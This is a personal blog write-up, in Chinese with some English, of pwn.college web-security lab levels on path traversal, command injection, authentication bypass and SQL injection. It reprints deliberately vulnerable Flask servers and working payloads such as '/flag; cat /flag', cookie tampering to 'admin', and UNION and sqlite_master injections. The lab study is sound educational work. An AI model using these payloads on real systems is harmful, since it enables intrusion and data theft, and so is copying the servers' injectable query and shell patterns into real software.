0%

Practise Web Security

前言

嗨,我是che!
這篇是我在 pwn.college的資安練習紀錄,想說這平台題目很優質,但網路上都沒人寫write-up,所以我才決定寫這篇,沒想到在寫完後才發現,他們其實有提到不建議公開 write-up…
image 唉,虧我這麼辛苦寫完 QQ
不過反正我的網站也沒什麼流量 (X),所以我還是決定發佈這篇 blog。為了尊重原團隊的聲明,我已經將此篇SEO設為 false,並且標題與網址中皆未直接tag關鍵字,應該是很難透過google直接找到這篇。

若您是開發團隊並無意讓這篇文章公開,請直接email聯繫: dylan.jc2222@gmail.com ,我會立即下架文章。
此外,若您是其他讀者且看到了這裡,也請不要大力分享給你身邊的同學,感謝!

Hi, I’m che.
This post documents my personal practice on pwn.college.
I found the platform’s challenges to be of very high quality, but noticed there were barely any write-ups available online — which is why I decided to write one myself.Only after completing the article did I realize that team has advised not to publish write-ups.
I had already put in the effort, and since my website has almost no traffic (lol), I decided to publish this post anyway — but with caution.
To respect the original intention of the developers:

  • I have set the SEO of this post to false.
  • Neither the title nor the URL includes any sensitive keywords.
  • It’s very unlikely for someone to find this post via Google or other search engines.

If you are a member of the pwn.college team and would prefer this post to be taken down, please contact me at dylan.jc2222@gmail.com — I will remove it promptly upon request.
To any readers who happen to find this post, please refrain from widely sharing it with others. Thanks for your understanding!

解說

平台上的題目跟一般的CTF不太一樣,一般CTF是連去指定的ip做操作,但是這平台上的題目是會開啟虛擬機並讓你以一般使用者的帳號,通過web去取得/flag的檔案,而他給的web都是用root權限的,也就是說,你必須透過自行啟用web的python檔案,並在這個web上透過漏洞而以root身分取得/flag的檔案。

補充

pwn.college網路上都找不到write up,花了很多時間在深入研究bypass,但也學到很多xd,以下進入正題。


Path Traversal 1

1
2
3
4
5
This level will explore the intersection of Linux path resolution, when done naively, and unexpected web requests from an attacker. We've implemented a simple web server for you --- it will serve up files from /challenge/files over HTTP. Can you trick it into giving you the flag?

The webserver program is /challenge/server. You can run it just like any other challenge, then talk to it over HTTP (using a different terminal or a web browser). We recommend reading through its code to understand what it is doing and to find the weakness!

HINT: If you're wondering why your solution isn't working, make sure what you're trying to query is what is actually being received by the server! curl -v [url] can show you the exact bytes that curl is sending over.

查看原始server的檔案,發現目錄/blob

cat /challenge/server

image
如果用../會被直接替換掉,所以要用%2F
image
最後加上flag成功取得
螢幕擷取畫面 2025-05-06 020026


Path Traversal 2 (Unfinished)

1
2
3
4
5
The previous level's path traversal happened because of a disconnect between:

The developer's awareness of the true range of potential input that an attacker might send to their application (e.g., the concept of an attacker sending characters that have special meaning in paths).
A gap between the developer's intent (the implementation makes it clear that we only expect files under the /challenge/files directory to be served to the user) and the reality of the filesystem (where paths can go "back" up a directory level).
This level tries to stop you from traversing the path, but does it in a way that clearly demonstrates a further lack of the developer's understanding of how tricky paths can truly be. Can you still traverse it?

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hacker@web-security~path-traversal-2:/challenge$ cat server 
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


@app.route("/filebank", methods=["GET"])
@app.route("/filebank/<path:path>", methods=["GET"])
def challenge(path="index.html"):
requested_path = app.root_path + "/files/" + path.strip("/.")
print(f"DEBUG: {requested_path=}")
try:
return open(requested_path).read()
except PermissionError:
flask.abort(403, requested_path)
except FileNotFoundError:
flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
except Exception as e:
flask.abort(500, requested_path + ":" + str(e))


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/files/index.html

1
2
3
4
5
hacker@web-security~path-traversal-2:/challenge/files$ cat index.html 
You rascal! We've secured this server. You'll have to content yourself with
<a href="fortunes/fortune-1.txt">a</a>
<a href="fortunes/fortune-2.txt">few</a>
<a href="fortunes/fortune-3.txt">fortunes</a>.

(這題還沒解出來,解出來再補:D)


CMDi 1

1
2
3
4
5
6
7
8
9
10
11
12
Now, imagine getting more crazy than these security issues between the web server and the file system. What about interactions between the web server and the whole Linux shell?

Depressingly often, developers rely on the command line shell to help with complex operations. In these cases, a web server will execute a Linux command and use the command's results in its operation (a frequent usecase of this, for example, is the Imagemagick suite of commands that facilitate image processing). Different languages have different ways to do this (the simplest way in Python is os.system, but we will mostly be interacting with the more advanced subprocess.check_output), but almost all suffer from the risk of command injection.

In path traversal, the attacker sent an unexpected character (.) that caused the filesystem to do something unexpected to the developer (look in the parent directory). The shell, similarly, is chock full of special characters that cause effects unintended by the developer, and the gap between what the developer intended and the reality of what the shell (or, in previous challenges, the file system) does holds all sorts of security issues.

For example, consider the following Python snippet that runs a shell command:

os.system(f"echo Hello {word}")
The developer clearly intends the user to send something like Hackers, and the result to be something like the command echo Hello Hackers. But the hacker might send anything the code doesn't explicitly block. Recall what you learned in the Chaining module of the Linux Luminarium: what if the hacker sends something containing a ;?

In this level, we will explore this exact concept. See if you can trick the level and leak the flag!

打開後會看到這個頁面,中間有輸入框
image

輸入flag,可以確定他是ls -l <你輸入的內容>
image
所以嘗試輸入/flag
image
可以看到子目錄有/flag檔案,加上cat出內容,就可以看到檔案
cat內容就拿到flag了
/flag; cat /flag
螢幕擷取畫面 2025-05-07 011745


CMDi 2

1
Many developers are aware of things like command injection, and try to prevent it. In this level, you may not use ;! Can you think of another way to command-inject? Recall what you learned in the Piping module of the Linux Luminarium...

這題就是承上題,沒什麼難度
只是現在禁止你使用;,那我們改成使用|就好了阿
補: |的意思是先執行前面的再執行後面的,舉個常用到的例子strings 123.jpg | grep "ctf",這例子應該很好懂。

螢幕擷取畫面 2025-05-07 012509


CMDi 3

1
2
3
4
5
6
7
8
An interesting thing about command injection is that you don't get to choose where in the command the injection occurs: the developer accidentally makes that choice for you when writing the program. Sometimes, these injections occur in uncomfortable places. Consider the following:

os.system(f"echo Hello '{word}'")
Here, the developer tried to convey to the shell that word should really be only one word. The shell, when given arguments in single quotes, treats otherwise-special characters like ;, $, and so on as just normal characters, until it hits the closing single quote (').

This level gives you this scenario. Can you bypass it?

HINT: Keep in mind that there will be a ' character right at the end of whatever you inject. In the shell, all quotes must be matched with a partner, or the command is invalid. Make sure to craft your injection so that the resulting command is valid!

根據題目敘述,那就直接拿前面兩題的寫法,加上``就好了
螢幕擷取畫面 2025-05-07 013303


CMDi 4

1
Calling shell commands to carry out work, or "shelling out" as it is often termed, is dangerous. Any part of a shell command is potentially injectible! In this level, we'll practice injecting into a slightly different part of a slightly different command.

這題一打開一樣是個輸入框,只不過他不是加上ls在前面,而是用時間的部分

image

那隨意送出cat flag
image

可以看到拿到的是Permission denied
那我們對應連接的URL,/event?time-zon=cat+/flag
那就思考,我如果使用;區隔開 time-zon裡面的參數呢?

螢幕擷取畫面 2025-05-07 015858

還真的被我成功隔開time-zon的參數跟後面的shell code!


CMDi 5

1
Programs tend to shell out to do complex internal computation. This means that you might not always get sent the resulting output, and you will need to do your attack blind. Try it in this level: without the output of your injected command, get the flag!

初始頁面長這樣
image

那根據題目敘述,他可能不會把結果直接輸出在畫面上,而且他這邊顯示touch,所以我們的策略是把要輸出東西存成一個檔案,再去看那個檔案裡的內容。

確認一下思路是正確的
image
送出test
那我們回去看檔案
image
的確創造了一個test檔案!
(123跟ls是我嘗試的時候創的)

好的,那我們把cat flag要輸出的東西存進一個自己命名的/FLAGGGGG資料夾
image

伺服器端打開這個/FLAGGGGG就會看到flag了
image


CMDi 6 (Unfinished)

看原始碼
image
歐原來會過濾掉這些字元,QQ上面剛剛用的東西都不能用了
擔子細看這些內容,你會發現
好像沒有過濾掉%對吧!
那找到一個攻擊點就是用URL編碼再送出吧!

那我做嘗試/flag ; cat /flag轉成%2fflag+%3b+cat+%2fflag
發現歐 居然行不通
image

那觀察一下 ,你會發現,我明明是送; cat /flag,照理來說後面應該不會是ls ;ls cat/flag
所以不管我後面加什麼那都是做ls,所以嘗試使用換行,去避免都是做ls

等等 這題我沒解出來

image

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
(這題還沒解出來,解出來再補:D)


Authentication Bypass 1

1
2
3
4
5
6
7
Of course, web applications can have security vulnerabilities that have nothing to do with the shell. A common type of vulnerability is an Authentication Bypass, where an attacker can bypass the typical authentication logic of an application and log in without knowing the necessary user credentials.

This level challenges you to explore one such scenario. This specific scenario arises because, again, of a gap between what the developer expects (that the URL parameters set by the application will only be set by the application itself) and the reality (that attackers can craft HTTP requests to their hearts content).

This level assumes a passing familiarity with SQL, which you can develop in the SQL Playground. SQL will become incredibly relevant later, but for now, it is an incidental part of the challenge.

Anyways, go and bypass this authentication to log in as the admin user and get the flag!

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/opt/pwn.college/python

import tempfile
import sqlite3
import flask
import os

app = flask.Flask(__name__)

# Don't panic about this class. It simply implements a temporary database in which
# this application can store data. You don't need to understand its internals, just
# that it processes SQL queries using db.execute().
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result

db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

return flask.redirect(f"""{flask.request.path}?session_user={username}""")


@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.request.args.get("session_user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()

return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""

app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

那好,看一下原始碼,
最重要的兩行

1
2
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

這兩行代表的意思是什麼?
第27行的SQL語法代表的是創造一個名為admin的帳號名稱,而密碼是設成隨機的8碼。
第28行的代表有一個使用者guest密碼是password
還真是弱密碼阿xd
那打開連結會看到
image

當我們輸入guest的帳號密碼後,我們就成功進到系統裡了
image

可以看到URL的部分變成/?session_user=guest
那我們改成admin就拿到flag了

image


Authentication Bypass 2

1
Authentication bypasses are not always so trivial. Sometimes, the logic of the application might look correct, but again, the gap between what the developer expects to be true and what will actually be true rears its ugly head. Give this level a try, and remember: you control the requests, including all the HTTP headers sent!

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/opt/pwn.college/python

import tempfile
import sqlite3
import flask
import os

app = flask.Flask(__name__)

class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result

db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

response = flask.redirect(flask.request.path)
response.set_cookie('session_user', username)
return response

@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.request.cookies.get("session_user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()

return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""

app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

這題的介面跟上一題一模一樣,
看程式碼的時候我們可以發現,
他是用POST的方式,不是用GET,所以在URL不能直接更改裡面的內容
那我們F12打開看更多,就會發現
image
歐原來他是用cookie的方式做存取阿
那我們就把 cookie的地方改成admin
刷新頁面你就會發現歐成功了
image


好欸 進入SQL injection了

SQLi 1

1
2
3
4
5
6
7
Of course, these sorts of security gaps abound! For example, in this level, the specification of the logged in user is actually secure. Instead of get parameters or raw cookies, this level uses an encrypted session cookie that you will not be able to mess with. Thus, your task is to get the application to actually authenticate you as admin!

Luckily, as the name of the level suggests, this application is vulnerable to a SQL injection. A SQL injection, conceptually, is to SQL what a Command Injection is to the shell. In Command Injections, the application assembled a command string, and a gap between the developer's intent and the command shell's actual functionality enabled attackers to carry out actions unintended by the attacker. A SQL injection is the same: the developer builds the application to make SQL queries for certain goals, but because of the way these queries are assembled by the application logic, the resulting actions of the SQL query, when executed by the database, can be disastrous from a security perspective.

Command injections don't have a clear solution: the shell is an ancient piece of technology, and the interfaces to the shell have ossified decades ago and are very hard to change. SQL is somewhat more nimble, and most databases now provide interfaces that are very resistant to being SQL-injectible. In fact, the authentication bypass levels used such interfaces: they are very vulnerable, but not to SQL injection.

This level, on the other hand, is SQL injectible, as it purposefully uses a slightly different way to make SQL queries. When you find the SQL query into which you can inject your input (hint: it is the only SQL query to substantially differ between this level and the previous level), look at what the query looks like right now, and what unintended conditions you might inject. The quintessential SQL injection adds a condition so that an application can succeed without knowing the password. How can you accomplish this?

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/opt/pwn.college/python

import random
import flask
import os

app = flask.Flask(__name__)


import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as pin""", [random.randrange(2**32, 2**63)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, 1337 as pin""")


@app.route("/log", methods=["POST"])
def challenge_post():
username = flask.request.form.get("account-name")
pin = flask.request.form.get("pin")
if not username:
flask.abort(400, "Missing `account-name` form parameter")
if not pin:
flask.abort(400, "Missing `pin` form parameter")

if pin[0] not in "0123456789":
flask.abort(400, "Invalid pin")

try:
# https://www.sqlite.org/lang_select.html
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND pin = { pin }"
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")

if not user:
flask.abort(403, "Invalid username or pin")

flask.session["user"] = username
return flask.redirect(flask.request.path)


@app.route("/log", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()

return (
page
+ """
<hr>
<form method=post>
User:<input type=text name=account-name>Pin:<input type=text name=pin><input type=submit value=Submit>
</form>
</body></html>
"""
)


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

那SQL injection的登錄頁面跟剛剛蠻像的
image
那我一開始嘗試輸入'OR 1=1'跟隨便的密碼123
跳出
image
那我們發現語法長

1
SELECT rowid, * FROM users WHERE username = '<user_input>' AND pin = <pin_input>;

所以如果輸入'OR 1=1'就會變成

1
SELECT rowid, * FROM users WHERE username = ''OR 1=1'' AND pin = 123;

那還是會讀到後面的pin的部分
所以如果注入的是' OR 1=1--
那完整語法變成

1
SELECT rowid, * FROM users WHERE username = '' OR 1=1--' AND pin = 123;

後面的pin被--註解掉了

image

成功進來,但你會發現沒有flag
這是因為你的身分不是admin,可以回去看code

1
2
3
4
5
6
7
8
@app.route("/log", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()

就會發現,歐原來他強制規定使用者是admin,那上面改user的payload就是錯誤示範
所以我們固定user是admin,然後password的部分就變成123 or 1=1,這樣不管你的真實密碼是什麼,or 1=1一定成立,所以就成功了
完整sqli 語法:

1
SELECT rowid, * FROM users WHERE username = 'admin' AND pin = 123 or 1=1 ;

image


SQLi 2

1
The previous level's SQL injection was quite simple to pull off and still have a valid SQL query. This was, in part, because your injection happened at the very end of the query. In this level, however, your injection happens partway through, and there is (a bit) more of the SQL query afterwards. This complicates matters, because the query must remain valid despite your injection.

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, 'password' as password""")


@app.route("/portal", methods=["POST"])
def challenge_post():
username = flask.request.form.get("account-name")
password = flask.request.form.get("pass")
if not username:
flask.abort(400, "Missing `account-name` form parameter")
if not password:
flask.abort(400, "Missing `pass` form parameter")

try:
# https://www.sqlite.org/lang_select.html
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")

if not user:
flask.abort(403, "Invalid username or password")

flask.session["user"] = username
return flask.redirect(flask.request.path)


@app.route("/portal", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()

return (
page
+ """
<hr>
<form method=post>
User:<input type=text name=account-name>Password:<input type=text name=pass><input type=submit value=Submit>
</form>
</body></html>
"""
)


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

那打開的介面一樣,這次我們直接改用code來看,重點放在45行

1
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"

那我們如何透過admin權限來獲得flag呢?

對比前一題的code

1
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND pin = { pin }"

OK 他多了''把東西包起來
所以我們嘗試username輸入admin 跟 pin輸入123 'or 1=1--,就跟上一題的結果一樣了
完整sql變成:

1
SELECT rowid, * FROM users WHERE username = 'admin' AND password = '123 'or 1=1--'

image

輕鬆解決!


SQli 3

1
2
3
4
5
If you recall, your command injection exploits typically caused additional commands to be executed. So far, your SQL injections have simply modified the conditions of existing SQL queries. However, similar to how the shell has ways to chain commands (e.g., ;, |, etc), some SQL queries can be chained as well!

An attacker's ability to chain SQL queries has extremely powerful potential. For example, it allows the attacker to query completely unintended tables or completely unintended fields in tables, and leads to the types of massive data disclosures that you read about on the news.

This level will require you to figure out how to chain SQL queries in order to leak data. Good luck!

看到題目第一反應,歐老招了xd

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

db.execute(f"""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute(f"""INSERT INTO users SELECT "guest" as username, "password" as password""")


@app.route("/", methods=["GET"])
def challenge():
query = flask.request.args.get("query", "%")

try:

# https://www.sqlite.org/lang_select.html
sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}")
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}"

return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{ sql }</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

來,看code

1
sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
1
SELECT username FROM users WHERE username LIKE "{query}"

但會發現,歐原來不再分成兩個輸入框了,變成
image

輸入%" UNION SELECT password FROM users WHERE username='admin'--
完整sql會從

1
SELECT username FROM users WHERE username LIKE "%"

變成

1
SELECT username FROM users WHERE username LIKE "%" UNION SELECT password FROM users WHERE username='admin'--"

運用UNION SELECT的方式控制查詢的輸出欄位

image


SQLi 4

1
2
3
4
5
So far, the database structure has been known to you (e.g., the name of the users table), allowing you to knowingly craft your queries. As a developer, you might be tempted to prevent this by, say, randomizing your table names, so that an attacker can't specify them to query data that they are not supposed to. Unfortunately, this is not the slam dunk that you might think it is.

Databases are complex and much too clever for their own good. For example, almost all modern databases keep the database layout specification itself in a table. Attackers can query this table to get the table names, field names, and whatever other information they might need!

In this level, the developers have randomized the name of the (previously known as) users table. Find it, and find the flag!

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/opt/pwn.college/python

import random
import flask
import os

app = flask.Flask(__name__)


import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

random_user_table = f"users_{random.randrange(2**32, 2**33)}"
db.execute(f"""CREATE TABLE {random_user_table} AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute(f"""INSERT INTO {random_user_table} SELECT "guest" as username, "password" as password""")


@app.route("/", methods=["GET"])
def challenge():
query = flask.request.args.get("query", "%")

try:
# https://www.sqlite.org/schematab.html
# https://www.sqlite.org/lang_select.html
sql = f'SELECT username FROM {random_user_table} WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}")
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}"

return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{ sql.replace(random_user_table, "REDACTED") }</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

OK 那這題跟上題就差在table名稱不是指定叫users,因為在code第29行,做了隨機化table

1
random_user_table = f"users_{random.randrange(2**32, 2**33)}"

所以會造成FROM的時候找不到名為users的table
那我貼上上一題的payload,結果顯示我的猜想是對的
image
那我們要改變思路
不能直接透過payload去獲得flag
我們需要多做一個步驟: 先找出table名稱
要運用到SQLite的內建系統表(sqlite_master),去顯示所有的table,再用找到的table去做搜尋,
那我們sql注入payload

1
%" UNION SELECT name FROM sqlite_master WHERE type='table'--

結果顯示
image

OK,那我們找到users_8234614927這個table了,我們就可以接著用上一題的方式去做注入
payload:

1
%" UNION SELECT password FROM users_8234614927 WHERE username='admin'-- 

image

OK,輕鬆解決!


SQLi 5 (Unfinished)

1
2
3
4
5
SQL injection happen in all sorts of places in an application and, like command injections, sometimes the result of the query is not sent back to you. With command injections, this case is easier: the commandline is so powerful that you can do a lot of things even blindly. With SQL injections, this is sometimes not the case. For example, unlike some other databases, the SQLite database used in this module cannot access the filesystem, execute commands, and so on.

So, if the application does not show you the data resulting from your SQL injection, how do you actually leak the data? Sometimes, even if the actual data is not shown, you can recover one bit! If the result of a query can make the application act two different ways (say, redirecting to an "Authentication Success" page versus an "Authentication Failure" page), then an attacker can carefully craft yes/no questions that they can get answers to.

This challenge gives you exactly this scenario. Can you leak the flag?

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, 'password' as password""")


@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

try:
# https://www.sqlite.org/lang_select.html
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")

if not user:
flask.abort(403, "Invalid username or password")

flask.session["user"] = username
return flask.redirect(flask.request.path)


@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"

return (
page
+ """
<hr>
<form method=post>
User:<input type=text name=username>Password:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
)


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

image

我們的頁面再次變成兩個輸入框!
把45行最重要的地方拉出來

1
SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'
1
SELECT rowid, * FROM users WHERE username = 'admin' AND password = ''OR 1=1--'

XSS 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Semantic gaps can occur (and lead to security issues) at the interface of any two technologies. So far, we have seen them happen between:

- A web application and the file system, leading to path traversal.
- A web application and the command line shell, leading to command injection.
- A web application and the database, leading to SQL injection.

One part of the web application story that we have not yet looked at is the web browser. We will remedy that oversight with this challenge.

